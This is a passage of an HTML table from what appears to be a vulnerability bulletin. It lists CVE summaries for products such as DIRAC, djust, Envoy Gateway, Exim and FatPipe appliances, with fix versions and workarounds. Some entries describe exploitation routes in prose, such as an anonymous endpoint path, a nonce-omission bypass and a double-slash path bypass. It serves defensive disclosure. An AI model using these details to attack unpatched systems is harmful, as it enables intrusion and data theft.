&lt;td class=&quot;vendor-product&quot;&gt;Digital Watchdog--VMAX A1 G4 DVR&lt;/td&gt;
&lt;td&gt;The affected products are missing authentication for a critical function, which could allow an attacker to run as root and pass received bytes directly to a system command.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68070&quot; target=&quot;_blank&quot;&gt;CVE-2026-68070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Digital Watchdog--VMAX A1 G4 DVR&lt;/td&gt;
&lt;td&gt;The affected products use hard-coded credentials, which could allow an attacker to run the ftpd service as root, providing remote root file access where FTP is reachable.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68950&quot; target=&quot;_blank&quot;&gt;CVE-2026-68950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DIRACGrid--DIRAC&lt;/td&gt;
&lt;td&gt;DIRAC is an interware, meaning a software framework for distributed computing. Prior to versions 8.0.79, 9.0.22, and 9.1.10, the RequestManagementSystem/Service/ReqManagerHandler.py export_getRequestCountersWeb function passes an authenticated caller-controlled groupingAttribute to RequestManagementSystem/DB/RequestDB.py getRequestCountersWeb. An unrecognized value is resolved against the Request object and evaluated as Python code, allowing a crafted dunder attribute expression to reach operating-system functions and execute commands as the account running the DIRAC services. Successful exploitation can expose dirac.cfg, database passwords, stored proxies, and tokens, fully compromise the DIRAC system, and allow alteration of local log evidence. This issue is fixed in versions 8.0.79, 9.0.22, and 9.1.10.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45579&quot; target=&quot;_blank&quot;&gt;CVE-2026-45579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DIRACGrid--DIRAC&lt;/td&gt;
&lt;td&gt;DIRAC is an interware, meaning a software framework for distributed computing. Prior to versions 8.0.79, 9.0.22, and 9.1.10, DataManagementSystem/Service/FileCatalogHandler.py checkDataset forwards an authenticated caller-controlled datasets value to DatasetManager.py __checkDataset, where datasetName is interpolated into an FC_MetaDatasets SQL query without parameterization. The injected query can control the returned MetaQuery value, which is passed to Python eval and permits command execution as the account running the DIRAC services. Successful exploitation can expose dirac.cfg, database passwords, stored proxies, and tokens, fully compromise the DIRAC system, and allow alteration of local log evidence. This issue is fixed in versions 8.0.79, 9.0.22, and 9.1.10.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61667&quot; target=&quot;_blank&quot;&gt;CVE-2026-61667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DIRACGrid--DIRAC&lt;/td&gt;
&lt;td&gt;DIRAC is an interware, meaning a software framework for distributed computing. Prior to versions 8.0.79, 9.0.22, and 9.1.10, WorkloadManagementSystem/Utilities/PilotWrapper.py pilotWrapperScript uses ssl._create_unverified_context to download the second-stage pilot.tar archive without TLS certificate verification and downloads the reference checksum through the same unvalidated channel. An attacker able to redirect or intercept a grid site&#039;s network traffic through DNS or routing manipulation can substitute both the executable pilot code and its checksum, causing arbitrary code to run in the pilot context with access to pilot proxy credentials. The fixed implementation validates the server certificate through system trust and X509_CERT_DIR or the grid certificate directory. This issue is fixed in versions 8.0.79, 9.0.22, and 9.1.10.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61668&quot; target=&quot;_blank&quot;&gt;CVE-2026-61668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the live (WebSocket) transport authorizes a mount via `check_view_auth`, not Django&#039;s `View.dispatch()` chain. As a result, standard Django authorization - `LoginRequiredMixin`, `PermissionRequiredMixin`, `UserPassesTestMixin`, `@method_decorator(login_required, name=&quot;dispatch&quot;)`, and custom `dispatch()` guards - and the djust admin extension&#039;s staff gate (applied only in the HTTP `as_view` wrapper) were enforced on the initial HTTP GET but silently bypassed over WebSocket, where all events and state flow. An anonymous or under-privileged client could open a WebSocket and mount such a view - including admin list/create/change/delete - and dispatch its handlers. This is fixed in djust 1.0.7. `check_view_auth` now honors the Django `AccessMixin` family on every transport; a new system check S004 fails loud at startup on auth patterns the runtime cannot safely replay (decorator/overridden-`dispatch` forms); and the admin base mixin declares `login_required = True` + an active-staff `check_permissions` gate. As a workaround, gate views using djust&#039;s `login_required` / `permission_required` / `check_permissions` attributes (honored on all transports) rather than HTTP-only mixins/decorators.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61594&quot; target=&quot;_blank&quot;&gt;CVE-2026-61594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, for views that opt into state snapshots, the snapshot `state_json` embedded in the client page was restored on reconnect as trusted view state with no integrity check. A client could edit the unsigned `state_json` in their page and return it in the reconnect mount frame to inject arbitrary view attributes - e.g. flip `is_admin` to `True`, or change `account_id` / `balance` - escalating privilege or tampering with business state held in public view attributes (the normal djust pattern). This issue is fixed in djust 1.0.7. State snapshots are signed; unsigned or forged snapshots are rejected on the back-navigation restore path. As a workaround, do not enable state snapshots; do not hold authorization/ownership state in public view attributes.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61591&quot; target=&quot;_blank&quot;&gt;CVE-2026-61591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the SSE clientâ†’server POST endpoints are `@csrf_exempt` and the SSE GET stream endpoint had no Origin check, so a cross-origin page could drive a victim-cookie-authenticated SSE session: force the victim&#039;s browser to GET the stream URL (which creates and mounts a LiveView as the victim) and POST to the message endpoint with `credentials: include` to fire state-changing event handlers as the victim. The URL `session_id` is client-chosen (validated only for UUID *format*), so it is not a CSRF token, and a JSON body sent as `text/plain` is a CORS simple request with no preflight. The issue is fixed in 1.0.7. All three SSE endpoints validate the request `Origin` against `ALLOWED_HOSTS` (mirroring the WebSocket CSWSH defense) and reject cross-origin requests with 403; the POST endpoints additionally require `Content-Type: application/json` (415 otherwise), closing the `text/plain` simple-request bypass. As a workaround, disable the SSE transport, or front it with a proxy that enforces an Origin allowlist.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61593&quot; target=&quot;_blank&quot;&gt;CVE-2026-61593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, djust&#039;s observability endpoints expose live view/session state and a remote method-invocation surface (`eval_handler`). The localhost restriction was an opt-in middleware that the documented setup omits; the views themselves enforced only `DEBUG`. In the misconfigured-but-documented scenario (DEBUG on, middleware not installed) a non-localhost client could read live application state and invoke handlers remotely. This issue is fixed in djust 1.0.7. The localhost restriction is enforced in-view on every observability endpoint (no longer dependent on a separately-installed middleware), and `eval_handler` is restricted; gated requests receive a non-disclosing response. As a workaround, ensure `DEBUG=False` in production, and do not expose the observability endpoints to untrusted networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61590&quot; target=&quot;_blank&quot;&gt;CVE-2026-61590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, SSE sessions were keyed solely by a client-chosen `session_id` with no binding to the authenticated user - a control the WebSocket transport has but that was dropped on SSE. An attacker who learns (or a victim who leaks) a `session_id` could connect to the message endpoint and dispatch event handlers that execute with the victim&#039;s identity and state. This is fixed in djust 1.0.7. Each SSE session is bound to its owning principal at creation and cross-principal access is rejected; SSE session creation is additionally capped per principal. As a workaround, disable the SSE transport.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61592&quot; target=&quot;_blank&quot;&gt;CVE-2026-61592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, `djust.tenants` isolation was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only `TenantMiddleware`, so on the live (WebSocket/SSE) path `get_current_tenant()` was always `None` during mount and every event handler - and the tenant-aware `QuerySet` manager failed OPEN (returned the unfiltered queryset, ignoring `STRICT_MODE`), disclosing every tenant&#039;s rows to whoever held the socket. `threading.local` was additionally shared across connections on the `sync_to_async` executor thread. This issue is fixed in djust 1.0.7. Tenant storage moved to a `contextvars.ContextVar` (per async task); the resolved tenant is bound around WS/SSE mount and every dispatch; both managers scope the base queryset once and fail CLOSED (`.none()` under the default `STRICT_MODE`); and system check S006 warns when `STRICT_MODE=False`. No known workarounds are available on the live path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61595&quot; target=&quot;_blank&quot;&gt;CVE-2026-61595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;djust-org--djust&lt;/td&gt;
&lt;td&gt;djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, djust&#039;s per-object authorization (`get_object` + `has_object_permission`, ADR-017) was enforced on the WebSocket mount and event paths but not on three other render entry points: (a) the initial HTTP GET render, (b) SPA `url_change` navigation, and (c) `{% live_render %}` embedded child views. An authenticated user could therefore view (and on some paths act on) an object they are not authorized for by loading the page directly, navigating to it via SPA url-change, or composing it as an embedded child - a classic IDOR / broken object-level access control on object-scoped views. This is fixed in djust 1.0.7. All render entry points now route through a shared `enforce_object_permission` chokepoint: HTTP GET returns 403, `url_change` emits a `permission_denied` frame and skips the render, and `{% live_render %}` (eager + lazy) refuses the embed. Views without a custom `get_object` are unaffected (no-op). No reliable workaround short of upgrading. Do not expose object-scoped views through the HTTP-GET / url_change / live_render paths until patched.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61596&quot; target=&quot;_blank&quot;&gt;CVE-2026-61596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--lamp-cloud&lt;/td&gt;
&lt;td&gt;lamp-cloud through 5.10.0 whitelists the path pattern /*/anno/** for anonymous access, allowing unauthenticated attackers to read the server&#039;s full JVM system property map. Attackers can send POST requests to /defGenProject/anno/getProperties to retrieve sensitive information including JVM classpath, filesystem paths, operating system details, and startup secrets.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91996&quot; target=&quot;_blank&quot;&gt;CVE-2026-91996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;EasyCorp--EasyAdminBundle&lt;/td&gt;
&lt;td&gt;EasyAdmin is a fast and modern admin generator for Symfony applications. From 5.0.0 until 5.0.13, FileField and ImageField can accept browser-executable uploads while templates/crud/field/file.html.twig links to stored files for inline same-origin rendering without a download attribute or Content-Disposition attachment header. When uploads are stored under the public web root, an attacker with access to an affected form can upload HTML through FileField or SVG through ImageField, and JavaScript executes in an authenticated administrator&#039;s origin when the file is opened from the backend. Exploitation requires a privilege gap between the uploader and viewer. The issue can expose session or CSRF tokens and enable privilege escalation, but does not permit PHP or PHTML code execution because Symfony guessExtension does not produce those stored extensions. This issue is fixed in version 5.0.13.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54087&quot; target=&quot;_blank&quot;&gt;CVE-2026-54087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;eat-pray-ai--yutu&lt;/td&gt;
&lt;td&gt;yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50158&quot; target=&quot;_blank&quot;&gt;CVE-2026-50158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;EFM--ipTIME C200E&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in EFM ipTIME C200E 1.094. The impacted element is an unknown function of the file iux_set.cgi of the component System Setup. This manipulation causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90847&quot; target=&quot;_blank&quot;&gt;CVE-2026-90847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, to_absolute_normalized_path in internal/gatewayapi/luavalidator/security.lua does not collapse redundant separators before is_critical_path evaluates Lua submitted through EnvoyExtensionPolicy during default Strict validation. Linux resolves a double-slash absolute path as the corresponding single-slash path, but the validator does not match the redundant-separator form, allowing submitted Lua to read arbitrary files from the gateway controller pod. Exposed files can include Kubernetes service-account tokens, TLS certificates, and process environment data, and the disclosed credentials can provide access to sensitive Kubernetes API Server or Gateway xDS server information. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53713&quot; target=&quot;_blank&quot;&gt;CVE-2026-53713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--gateway&lt;/td&gt;
&lt;td&gt;Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, the xDS gRPC server in GatewayNamespaceMode, configured through provider.kubernetes.deploy.type=GatewayNamespace, installs a JWT StreamInterceptor but no UnaryInterceptor, leaving every unary Fetch RPC unauthenticated. The streaming interceptor also authenticates only discoveryv3.DeltaDiscoveryRequest messages; a discoveryv3.DiscoveryRequest used by the State-of-the-World protocol fails the type assertion and returns success without JWT validation. Any pod that can reach port 18000 can use the unauthenticated unary or State-of-the-World paths to retrieve TLS private keys through StreamSecrets, all xDS resources through StreamAggregatedResources, backend endpoints through StreamClusters or StreamEndpoints, and routing configuration through StreamRoutes or StreamListeners. This issue is fixed in versions 1.7.4 and 1.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53714&quot; target=&quot;_blank&quot;&gt;CVE-2026-53714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;equinor--resdata&lt;/td&gt;
&lt;td&gt;resdata is software for reading and writing result files from the Eclipse reservoir simulator. Prior to 6.2.9, resdata insufficiently validates numeric fields, grid dimensions, keyword sizes, and array indexes while parsing untrusted GRDECL files in lib/resdata/rd_kw_grdecl.cpp and lib/resdata/rd_grid.cpp. Malformed COORD, ZCORN, CORSNUM, ACTNUM, or MAPAXES data can reach rd_grid_alloc_GRDECL_kw__ with inconsistent lengths, while unbounded floating-point conversion can exceed the intended parser buffer. In a network service that accepts untrusted GRDECL files, these conditions can cause a classic buffer overflow, out-of-bounds reads, invalid array access, NULL pointer dereference, memory corruption, or service termination. This issue is fixed in version 6.2.9.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55209&quot; target=&quot;_blank&quot;&gt;CVE-2026-55209&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;esphome--device-builder&lt;/td&gt;
&lt;td&gt;ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to version 1.0.12, the dashboard reads its authentication credentials from `$ESPHOME_USERNAME` and `$ESPHOME_PASSWORD`. Earlier versions, and the legacy `esphome` dashboard, read the bare `$USERNAME` and `$PASSWORD` instead. When the env vars were renamed the bare names were dropped with no fallback, so an operator who had protected their dashboard with `USERNAME` / `PASSWORD` (as the older getting started guide documented) loses authentication on upgrade and the dashboard starts open to anyone who can reach its port. The issue is fixed in 1.0.12. The bare `$USERNAME` / `$PASSWORD` are accepted again as a deprecated fallback so previously protected instances stay protected across the upgrade without operator intervention, with a loud deprecation warning at startup directing operators to rename them to `$ESPHOME_USERNAME` / `$ESPHOME_PASSWORD`. The fallback is gated on `$PASSWORD` being set and is only adopted as a pair, so the OS provided `$USERNAME` is never read on its own and the original collision footgun stays closed. A lone bare `$PASSWORD` with no username still fails loud as a credential mismatch rather than starting unauthenticated. This restores compatibility rather than failing closed on the legacy names, because the priority is that an instance which was protected before the upgrade stays protected without the operator having to act; the deprecation warning plus a future removal handles the migration. Operators should migrate to the `$ESPHOME_*` names. The esphome container delivers the fix in the 2026.6.2 release, which bumps its pinned `esphome-device-builder` version to 1.0.12. Without upgrading, restore authentication immediately by setting the new env vars to the same values, on any affected version. Alternatively, do not expose the dashboard port to untrusted networks, and check the startup logs for the `WITHOUT AUTHENTICATION` banner to confirm whether a given instance is currently open.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59178&quot; target=&quot;_blank&quot;&gt;CVE-2026-59178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Exim--Exim&lt;/td&gt;
&lt;td&gt;Exim before 4.100.1, when Proxy-Protocol is used with an attacker-controlled proxy, has an out-of-bounds write.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94054&quot; target=&quot;_blank&quot;&gt;CVE-2026-94054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Exim--Exim&lt;/td&gt;
&lt;td&gt;Exim before 4.100.1, when Proxy-Protocol is used with an attacker-controlled proxy, allows attackers to read certain uninitialized data from stack memory.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94056&quot; target=&quot;_blank&quot;&gt;CVE-2026-94056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;extremenetworks--IQ Engine&lt;/td&gt;
&lt;td&gt;Bonjour Gateway in Extreme Networks IQ Engine before 10.6r1a, and through 10.6r4 before 10.6r5, has an ah_bgd buffer overflow via ah_event_send.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-46273&quot; target=&quot;_blank&quot;&gt;CVE-2023-46273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;farazfrank--Filter Gallery&lt;/td&gt;
&lt;td&gt;The Filter Gallery plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete any arbitrary Filter Gallery records - including all associated filters, image mappings, settings, and details options - by supplying attacker-controlled gallery IDs. The nonce bypass requires omitting the nonce POST field entirely rather than submitting an invalid value, as a present-but-invalid nonce is correctly rejected.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89413&quot; target=&quot;_blank&quot;&gt;CVE-2026-89413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FatPipe Networks--MPVPN&lt;/td&gt;
&lt;td&gt;FatPipe MPVPN, WARP, and IPVPN appliances running the end-of-life firmware version 10.1.2r60p100 contain an OS command injection vulnerability in the xtremed daemon. An unauthenticated remote attacker with access to the affected management interface can submit crafted input to the AuthFormServlet endpoint, causing authentication data to be processed by a shell and allowing arbitrary commands to execute as root. The affected management interface is disabled by default and must be affirmatively enabled by the customer before the endpoint becomes reachable. FatPipe recommends restricting management access to trusted administrative networks and using WAN access control lists to limit access to trusted sources. Customers running the affected end-of-life firmware can contact FatPipe Support for help confirming their firmware version and upgrading to a current supported release at https://www.fatpipeinc.com/support/support, support@fatpipeinc.com, or +1 800-724-8521 (option 3).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90822&quot; target=&quot;_blank&quot;&gt;CVE-2026-90822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FatPipe Networks--MPVPN&lt;/td&gt;
&lt;td&gt;FatPipe MPVPN, WARP, and IPVPN appliances running the end-of-life firmware version 10.1.2r60p100 contain a stack-based buffer overflow in /usr/sbin/auth_user_pass. An unauthenticated remote attacker with access to the affected management interface can submit a crafted authentication request that reaches an unchecked copy into a fixed-size stack buffer, potentially allowing arbitrary code execution as root. The affected management interface is disabled by default and must be affirmatively enabled by the customer before the endpoint becomes reachable. FatPipe recommends restricting management access to trusted administrative networks and using WAN access control lists to limit access to trusted sources. Customers running the affected end-of-life firmware can contact FatPipe Support for help confirming their firmware version and upgrading to a current supported release at https://www.fatpipeinc.com/support/support, support@fatpipeinc.com, or +1 800-724-8521 (option 3).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90823&quot; target=&quot;_blank&quot;&gt;CVE-2026-90823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;feast-dev--feast&lt;/td&gt;
&lt;td&gt;Feast through 0.66.0 fails to verify JWT token signatures before establishing user identity, allowing attackers to bypass all role-based access control by presenting an unverified token with a hardcoded claim value. Attackers can obtain trusted internal identity and gain unchecked read and write access to all entities, feature views, data sources, and permission policies on the server.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92787&quot; target=&quot;_blank&quot;&gt;CVE-2026-92787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;filebrowser--filebrowser&lt;/td&gt;
&lt;td&gt;File Browser versions &amp;gt;= 2.5.0 and &amp;lt;= 2.63.23 contain an incorrect authorization flaw in the direct-upload endpoint (resourcePostHandler in http/resource.go). Unlike the TUS upload handler, the direct-upload handler does not reject a target that is an existing directory; a POST with ?override=true aimed at a directory fails inside writeFile (a directory cannot be opened for writing) and the failure-cleanup path then calls Fs.RemoveAll on the request path, recursively deleting the entire tree. This cleanup is gated by neither the Perm.Delete permission nor the checkDescendants rule walk applied by the delete and patch handlers, so an authenticated non-administrator holding only the default Create and Modify permissions can delete directories they are not authorized to delete, including rule-denied files within them. Deletion remains confined to the user&#039;s scope because ScopedFs.RemoveAll still enforces the scope guard. The faulty cleanup was introduced in v2.5.0; no patched version is available.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90929&quot; target=&quot;_blank&quot;&gt;CVE-2026-90929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flextype--flextype&lt;/td&gt;
&lt;td&gt;Flextype CMS through 1.0.0-alpha.3 fails to properly validate id and new_id parameters in the Entries REST API, allowing API token holders to read, create, or overwrite files outside the entries directory. Attackers can use traversal sequences in API requests to escape the project entries directory and manipulate arbitrary files and directories on the filesystem.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91751&quot; target=&quot;_blank&quot;&gt;CVE-2026-91751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Flipper Code--WP Maps&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in WP Maps &amp;lt;= 4.9.9 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66618&quot; target=&quot;_blank&quot;&gt;CVE-2026-66618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
